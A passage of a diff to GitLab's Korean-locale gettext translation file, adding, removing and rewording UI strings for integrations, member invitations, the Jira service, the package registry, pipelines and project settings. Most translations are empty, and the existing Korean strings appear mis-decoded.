+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16714,6 +17148,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr "ì´ìŠˆëŠ” 버그, ìž‘ì—… í˜¹ì€ ë…¼ì˜í•  ì•„ì´ë””ì–´ì¼ ìˆ˜ 있습니ë
msgid "Issues closed"
msgstr "ì´ìŠˆ 닫힘"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr "바로 너"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr "ë¼ë²¨ ìž‘ì—… 드롭 다운"
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr "ë” ì•Œì•„ë³´ê¸°"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "그룹 구성ì›ë“¤ì˜ ê¸°ì—¬ë„ í†µê³„ì¹˜ 로드 중"
@@ -18195,6 +18662,9 @@ msgstr "모든 알림 관리"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18234,6 +18704,9 @@ msgstr "Manifest íŒŒì¼ ê°€ì ¸ì˜¤ê¸°"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18336,6 +18806,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18354,13 +18827,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr "회ì›"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr "머지 리퀘스트(MR)"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "머지 리퀘스트(MR) 승ì¸"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "현재 ë¼ì´ì„¼ìŠ¤ì—서는 마ì¼ìŠ¤í†¤ 목ë¡ì„ 사용할 수 없습니다."
@@ -19499,6 +19963,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr "ë” ë³´ê¸°"
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr "ì´ë¦„"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "절대 아님"
@@ -20057,9 +20542,6 @@ msgstr ""
msgid "New Label"
msgstr "새 ë¼ë²¨"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20225,6 +20707,9 @@ msgstr "다ìŒ"
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,8 +20824,8 @@ msgstr ""
msgid "No estimate or time spent"
msgstr "ì˜ˆìƒ ì‹œê°„ì´ë‚˜ ì†Œë¹„ëœ ì‹œê°„ì´ ì—†ìŠµë‹ˆë‹¤."
-msgid "No file chosen"
-msgstr "파ì¼ì„ ì„ íƒí•˜ì§€ 않았습니다."
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr ""
@@ -20387,6 +20875,9 @@ msgstr "ë¼ì´ì„¼ìŠ¤ê°€ 없습니다. All rights reserved"
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20474,6 +20965,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "템플릿 ì—†ìŒ"
@@ -20645,6 +21139,22 @@ msgstr "알림 설정 - %{notification_title}"
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr "ì´ëŸ°, 확실합니까?"
msgid "Open"
msgstr "열기"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21168,12 +21672,15 @@ msgstr "사ì´ë“œë°” 열기"
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "열림"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "열림"
+
msgid "Opened MRs"
msgstr ""
@@ -21186,6 +21693,9 @@ msgstr "열린"
msgid "Opens in a new window"
msgstr "새 창으로 열기"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21237,6 +21747,9 @@ msgstr "옵션 "
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21399,6 +21921,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "패키지"
@@ -21831,10 +22362,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -21915,7 +22455,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22164,9 +22704,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22260,6 +22800,18 @@ msgstr "#%{pipelineId} 파ì´í”„ë¼ì¸ì„ 중지하시겠습니까?"
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr "계ì†í•˜ê¸° ì „ì— ì„œë¹„ìŠ¤ ì•½ê´€ì— ë™ì˜í•˜ì‹­ì‹œì˜¤."
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22482,12 +23031,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "ReCAPTCHA를 풀어 주십시오."
-
msgid "Please try again"
msgstr "다시 ì‹œë„í•´ 주세요."
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr ""
@@ -22521,6 +23070,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22707,6 +23277,9 @@ msgstr "ìš°ì„  순위가 ì§€ì •ëœ ë¼ë²¨"
msgid "Prioritized label"
msgstr "ìš°ì„  순위가 ì§€ì •ëœ ë¼ë²¨"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -22965,8 +23538,8 @@ msgstr "비밀 기여 ìƒì„±"
msgid "Profiles|Main settings"
msgstr "주요 설정"
-msgid "Profiles|No file chosen"
-msgstr "파ì¼ì´ ì„ íƒë˜ì§€ 않았습니다."
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "알림 ì´ë©”ì¼"
@@ -23355,6 +23928,9 @@ msgstr "프로ì íŠ¸ í•œë„ì— ë„달했습니다."
msgid "ProjectOverview|You must sign in to star a project"
msgstr "프로ì íŠ¸ì— ë³„ì„ í‘œì‹œí•˜ë ¤ë©´ 로그ì¸í•´ì•¼í•©ë‹ˆë‹¤."
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "프로ì íŠ¸ ID: %{project_id}"
@@ -23370,49 +23946,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23466,25 +24075,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23496,7 +24108,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23508,7 +24120,7 @@ msgstr "태그 ì—…ë°ì´íŠ¸ì— 실패했습니다!"
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23520,10 +24132,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23556,10 +24168,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23583,15 +24198,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,7 +24240,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
